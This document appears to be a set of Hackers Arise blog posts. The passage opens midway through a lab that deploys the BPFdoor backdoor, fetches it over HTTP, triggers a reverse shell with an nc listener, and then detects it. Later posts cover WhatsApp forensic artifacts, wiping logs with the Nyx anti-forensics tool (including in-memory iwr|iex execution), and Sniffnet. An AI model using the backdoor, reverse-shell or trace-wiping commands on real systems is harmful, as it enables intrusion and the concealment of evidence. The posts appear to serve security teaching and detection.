kali > gcc bpfdoor -o bpfdoorpoc
kali > chmod +x trigger

After compiling, we are ready to move to the target system.

Exploitation

To move further we need to transfer the backdoor. There are different methods available for it. You can use temp.sh or a simple HTTP server.

Pick whatever is best for you and download it.

kali > python3 -m http.server 9001
ubuntu > wget http://192.168.56.107:9001/bpfdoorpoc

Once the file is downloaded, you make it executable and run it.

ubuntu > chmod +x bpfdoorpoc
ubuntu > ./bpfdoorpoc

At this point, the rootkit appears to hang. This is expected behavior. The backdoor is now running in the background, waiting for the magic packet. You might see some output, but nothing really tells you what it’s doing.

Set up a listener on Kali to receive your reverse shell

kali > nc -lvnp <port>

The trigger sends a packet that the backdoor recognizes.

In a separate terminal you execute the trigger:

kali > ./trigger

The trigger sends a packet that the backdoor recognizes.

The moment it detects the correct pattern, it activates and sends you back a reverse shell. If everything is correct, you will see a connection. It’s a working shell on the target system.

This is the core idea behind BPFdoor.

Detection

The backdoor has been known since around 2022, but only recently has it been observed being actively used in attacks against telecommunications infrastructure. To detect it we can use a script made by Rapid7.

ubuntu > wget https://github.com/rapid7/Rapid7-Labs/blob/main/BPFDoor/rapid7_detect_bpfdoor.sh

ubuntu > chmod +x rapid7_detect_bpfdoor.sh
ubuntu > bash rapid7_detect_bpfdoor.sh

The script attempts to find suspicious processes that match the behavior of BPFdoor. In our case, it found the PoC process and reported its process ID. Even stealthy malware can leave traces. Detection comes down to understanding how the system is supposed to behave (baseline) and finding deviations from it.

Summary

BPFdoor is an advanced Linux backdoor with a different approach to persistence and remote access. It’s being used by the Chinese to access our sensitive data. The whole Chinese campaign is about prepositioning the country for future global conflicts, so they can gain the upper hand in the chaos of a cyberwar. Their backdoor hides within the normal operation of the kernel and waits for a specific trigger. That makes it really hard to spot.

Telecoms have always been a desirable target along with industrial control systems. In light of these attacks, we started training on Building Your Own Mobile 4G Base Station. You’ll get to learn not just how to build a station, but how hackers attack it and how you can defend it. The knowledge is truly unique and a lot of work has gone into making the training.

The post Compromising Telecom Systems: Deploying and Detecting the BPFDoor Backdoor first appeared on Hackers Arise.

Welcome back, digital investigators!

Many of our messengers sit somewhere between privacy and routine. People treat chats like a private conversation and because it feels comfortable, they often share things they wouldn’t say on social media. The data stored in those apps is valuable for forensics. It may have chats, media and group membership with timestamps. Using this data we can reconstruct events. 

We’re going to take a close look at WhatsApp forensics today and show you the artifacts you can find on Android and iOS. It’ll be a deep dive on how WhatsApp keeps its data and what those files contain. All of it in plain language.

At Hackers-Arise we assist people with forensic investigations to uncover cybercrime and help with incident response. WhatsApp is part of that.

WhatsApp Artifacts on Android Devices

On Android, WhatsApp stores its private app data inside the device’s user data area. You will find the app’s files under /data/data/com.whatsapp/ or equivalently /data/user/0/com.whatsapp/ on many devices. These directories are not accessible without root, so to read them directly you need a physical dump of the file system or root. If you do not have root or a physical image, your options are restricted to logical backups.

There are two important files here: wa.db and msgstore.db. Both are SQLite databases and together they form the core of WhatsApp evidence.

wa.db is the contacts database. It has the WhatsApp user’s contacts with phone numbers, display names, status, timestamps for when contacts were created or changed. You can open the file with a SQLite browser to see its tables. The interesting tables here are those that store contact records (wa_contacts or similar), sqlite_sequence that has auto-increment counts and android_metadata with app language.

Wa.db is basically the address book for WhatsApp. It has names, numbers and a little context for each contact.

msgstore.db is the message store. This database has sent and received messages, timestamps, message status, senders and receivers and references to media files. In many WhatsApp versions you will find tables that include a general information table (sqlite_sequence), a full text index table for message content (message_fts_content or similar), the main messages table which usually contains the message body and metadata, messages_thumbnails which has images and their timestamps, and a chat_list table that stores chat entries. 

Be aware that WhatsApp changes its structure and field names may change between versions. Newer schema versions may include extra fields such as media_enc_hash, edit_version, or payment_transaction_id. So you need to inspect the schema first.

On many Android devices WhatsApp also keeps encrypted backups in a public storage location that you can find under /data/media/0/WhatsApp/Databases/ (the virtual SD card)

or /mnt/sdcard/WhatsApp/Databases/ for physical SD cards. Those backup files look like msgstore.db.cryptXX, where XX shows the cryptographic scheme version. 

The msgstore.db.cryptXX files are an encrypted copy of msgstore.db intended for device backups. To decrypt them you need a cryptographic key that WhatsApp stores privately on the device. The key can usually be found here: /data/data/com.whatsapp/files/. Without that key those encrypted backups are not readable.

Other important Android files and directories to examine include the preferences and registration XMLs in /data/data/com.whatsapp/shared_prefs/. The file com.whatsapp_preferences.xml often contains profile details and configuration. A fragment of such a file may show the phone number associated with the account, the app version, a profile message such as “Hey there! I am using WhatsApp” and the account display name. The registration.RegisterPhone.xml file typically has registration metadata like the phone number and regional format. 

The axolotl.db file in /data/data/com.whatsapp/databases/ holds cryptographic keys (used in the Signal/Double Ratchet protocol implementation) and account identification data. chatsettings.db has app settings. Logs are kept under /data/data/com.whatsapp/files/Logs/ and may include whatsapp.log as well as compressed rotated backups looking like whatsapp-YYYY-MM-DD.1.log.gz. They show app activity and errors.

Media is often stored in the media tree on internal or external storage:

/data/media/0/WhatsApp/Media/WhatsApp Images/ for images,

/data/media/0/WhatsApp/Media/WhatsApp Voice Notes/ for voice messages (usually Opus format), WhatsApp Audio, WhatsApp Video, and WhatsApp Profile Photos.

Within the app’s private area you may also find cached profile pictures under /data/data/com.whatsapp/cache/Profile Pictures/ and avatar thumbnails under /data/data/com.whatsapp/files/Avatars/. Some avatar thumbnails use a .j extension, but those are just JPEG files.

If the device uses an SD card, a WhatsApp directory at the card’s root may store copies of shared files (/mnt/sdcard/WhatsApp/.Share/), a trash folder for deleted content (/mnt/sdcard/WhatsApp/.trash/), and the Databases subdirectory with encrypted backups and media subfolders mirroring those on internal storage. Deleted files in .trash folders can be used to recover media.

Keep in mind, some vendors may add features that change where app data is stored. For example, certain Xiaomi phones implement a “Second Space” feature that creates a second user workspace. WhatsApp in the second workspace stores its data under a different user ID path. That means it may be under /data/user/10/com.whatsapp/databases/wa.db rather than the usual /data/user/0/com.whatsapp/databases/wa.db

WhatsApp Artifacts on iOS Devices

On iOS, WhatsApp centralizes its data into a few places and all that data is commonly accessible via device backups. The main application database is often ChatStorage.sqlite located under /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/ but some forensic tools may display this as AppDomainGroup-group.net.whatsapp.WhatsApp.shared

Within ChatStorage.sqlite the interesting tables are ZWAMESSAGE and ZWAMEDIAITEM. The first one stores message records and the other one has metadata for attachments and media items. ZWAPROFILEPUSHNAME and ZWAPROFILEPICTUREITEM map WhatsApp identifiers to display names and avatars. The table Z_PRIMARYKEY may have general database metadata such as record counts.

iOS also places supporting files in the group container. BackedUpKeyValue.sqlite can contain cryptographic keys and data for identifying account ownership. ContactsV2.sqlite stores contact details which include names, phone numbers, profile statuses and WhatsApp IDs. The consumer_version file holds the app version and current_wallpaper.jpg (or wallpaper in older versions) has the background image used in WhatsApp chats. The blockedcontacts.dat file lists blocked numbers, and pw.dat can hold an encrypted password. net.whatsapp.WhatsApp.plist or group.net.whatsapp.WhatsApp.shared.plist store profile settings.

Thumbnails, avatars and media are stored under /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/Media/Profile/ and /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/Message/Media/. WhatsApp logs (calls.log and calls.backup.log) can be found in the Documents or Library/Logs folders and will have information on call activity.

iOS devices are often backed up through iTunes or Finder, so you can extract WhatsApp artifacts from a device backup without a full file system image. If the backup is unencrypted it may include the ChatStorage.sqlite file and associated media. If the backup is encrypted you will need the backup password or legal access methods to decrypt it. Many investigators create a forensic backup and then examine the WhatsApp databases with a SQLite viewer and other forensic tools (Belkasoft) that understands this WhatsApp schema differences across versions.

Summary

Plainly speaking, WhatsApp forensics can help us understand who a suspect interacted with by viewing chat histories with timestamps, media files, message status (sent, delivered, read), groups, profile names and avatars and more. We understand this data can be accessed without authorization, violating people’s privacy, so part of our goal here was to show just how much data is actually stored on your phone. If you’re part of a sensitive group, look for other secure alternatives to WhatsApp and make sure your chats get deleted regularly to prevent unauthorized access to them. Disable cloud backups and try not to store those backups locally either. Even encrypted ones be cracked open by brute forcing the password.

If you’re interested in mobile forensics, you can join our training. We will walk you through the essentials of Android and iOS, explaining how evidence is stored on these devices. You will learn how investigators extract and analyze data, work with labs that involve finding hidden apps, working with encrypted chats and more.

The post Mobile Forensics: Extracting Data from WhatsApp first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.

Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC. 

But it does not help with removing all forensic traces that already exist throughout the operating system.

There is a different tool that focuses specifically on that task called Nyx.

What is Nyx

Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.

Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.

Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.

Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.

Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.

Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.

Cleaning Forensic Evidence on Windows

Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.

We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.

PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1

PS > .\nyx.ps1 -DryRun

Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform. 

Let’s clean them now.

PS > .\nyx.ps1

At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.

The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.

PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex

If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.

Cleaning Forensic Evidence on Linux

Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.

If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.

bash# > bash nyx.sh -n 

As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.

Summary

Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Network packet monitoring has long been an important skill for tech experts, especially those in cybersecurity. Like any skill, it demands a bit of studying and hands-on practice. While Wireshark has been a go-to tool for many, it can be somewhat cumbersome for beginners who simply want to see whom they’re exchanging data with. To simplify network monitoring, Sniffnet was developed.

In this article, we’ll dive into what Sniffnet is, how to install it, and provide a practical comparison of its features alongside those of Wireshark. Let’s get rolling!

What is Sniffnet?

Sniffnet is an open-source, cross-platform network monitoring tool developed in Rust. It captures and analyzes traffic flowing through a device’s network interfaces in real-time. Unlike traditional packet analyzers that typically display raw packet data, Sniffnet prioritizes visual clarity. It features a user-friendly dashboard that showcases live charts, protocol breakdowns, and geographic context instead of just a continuous stream of hex dumps.

Step #1: Installation

In this demonstration, I’ll be testing Sniffnet on Kali Linux, though it’s also cross-platform compatible with Windows and macOS. To get started with installation, we need to visit the official download webpage and choose the package. I’ll choose the DEB file. To install, just run the following command:

kali> sudo dpkg -i Sniffnet_LinuxDEB_amd64.deb

That’s it; we’re ready to start monitoring the traffic.

After starting the app, we need to choose the network adapter and click Start. If your system makes any network connections, you’ll see it as shown below.

The interface is straightforward. The screen is divided into blocks. At the top right, we can see the traffic rate. Beyond the live chart, Sniffnet also renders a donut chart showing cumulative statistics for the entire capture session. It tracks total incoming, outgoing, and dropped data.

Any packet sniffer can show you an IP address and a port number. Sniffnet goes further. The application can identify more than 6,000 upper-layer services, protocols, trojans, and worms flowing across your interface. Instead of staring at port 443 traffic and shrugging, Sniffnet can tell you the actual service behind that connection, in this case, HTTPS.

Besides that, every remote host your machine communicates with gets mapped to a physical location, so you can see at a glance whether your traffic is staying local or hopping across continents to servers you’ve never heard of. Beyond location, Sniffnet also pulls the Autonomous System Number and domain name associated with each host. Knowing the ASN tells you which organization or provider owns that piece of the internet. As you can see from the screenshot above, most requests were made to Cloudflare US servers. Nothing fancy, but it makes overall analysis much simpler for beginners.

The main page provides a very good overview of the network traffic. But when we find something valuable, let’s say an interesting host, we can click on it and see the whole communication history.

Practical Comparison: Sniffnet vs. Wireshark

Step 1: Getting an Overview of the Capture

When you load a pcap file into Sniffnet, it will immediately render the total traffic, direction split, and the donut chart of incoming, outgoing, and dropped data. In Wireshark, we can show this information too, but it takes navigating a menu and reading a table rather than seeing it visually on load. Pull up Statistics > Capture File Properties or Statistics > Protocol Hierarchy to get an equivalent summary.

Both tools can answer “what’s in this capture,” but one shows it, the other tells it.

Step 2: Finding the Suspicious Host

Let’s imagine that we want to view hosts by traffic volume.

As you can see in the screenshot above, at Sniffnet we need to change the data representation to packets, and that’s it. At Wireshark, we need to click Statistics > Endpoints > IPv4. Note that Wireshark has no built-in geolocation or ASN lookup, so you’d need a GeoIP database configured separately, or you’d have to pivot to an external tool like whois.

Step 3: Digging Into the Actual Conversation

Wireshark clearly stands out in this scenario. By simply right-clicking on the suspicious stream and selecting “Follow TCP Stream,” we can uncover the actual payload, which may include plaintext credentials, encoded commands, or unusual headers. For instance, in the case of the XWorm malware infection I examined, this Remote Access Trojan (RAT) encrypts commands sent from the Command and Control (C2) server using the AES encryption algorithm in ECB mode, making the payload unreadable. While we can see the ciphertext, Sniffnet lacks the capabilities to analyze it in this way. Sniffnet only presents connection metadata, service labels, and host details, as it isn’t designed for interpreting raw payloads. This underlines the importance of continuing to use Wireshark, even after Sniffnet performs the initial triage.

Step 4: Extracting Evidence

Since version 1.3, Sniffnet allows exporting the captured network traffic as a PCAP file. You can configure whether to export a capture file on the initial page of the app. By default, this functionality is not active, but you can enable it by clicking on the dedicated checkbox.

Wireshark offers a variety of flexible export options. You can save the entire packet capture in formats like PCAP, export only the packets you’ve selected, or even extract packet dissections as plain text. Additionally, you can choose to export specific protocol objects, such as HTTP files, or save the raw packet bytes.

Step 5: Filtering Down to What Matters

Sniffnet has built-in filtering options, filtering by IP address, port, protocol, or application layer service directly through the UI. This is menu-driven and requires no syntax to learn.

Wireshark has display filters, like ip.addr == 158.94.209.180 and tcp.port == 6000. Its filter syntax is far more expressive. You can chain logical operators, filter on specific packet fields deep inside a protocol, filter by string content inside payloads, or filter by flags. None of that granularity exists in Sniffnet.

Summary

When comparing Sniffnet and Wireshark, it’s clear that Sniffnet serves as a useful tool for monitoring network traffic, allowing you to keep tabs on your internet usage. It’s effective for gathering statistics and identifying your data exchange partners, but it falls short for more in-depth network investigations. On the other hand, Wireshark provides a much broader range of features for monitoring, filtering, and exporting traffic.

Therefore, if you’re just looking to casually check your traffic, Sniffnet will do the job. However, if you’re aiming to dive deeper and enhance your skills in network analysis, Wireshark is the way to go. Hackers-Arise offers a dedicated course titled “Wireshark for Cybersecurity” or you can opt for the Cybersecurity Starter Bundle, which includes this course along with 11 additional courses at a great price.

The post Network Forensics: Getting Started with Sniffnet Monitoring Tool first appeared on Hackers Arise.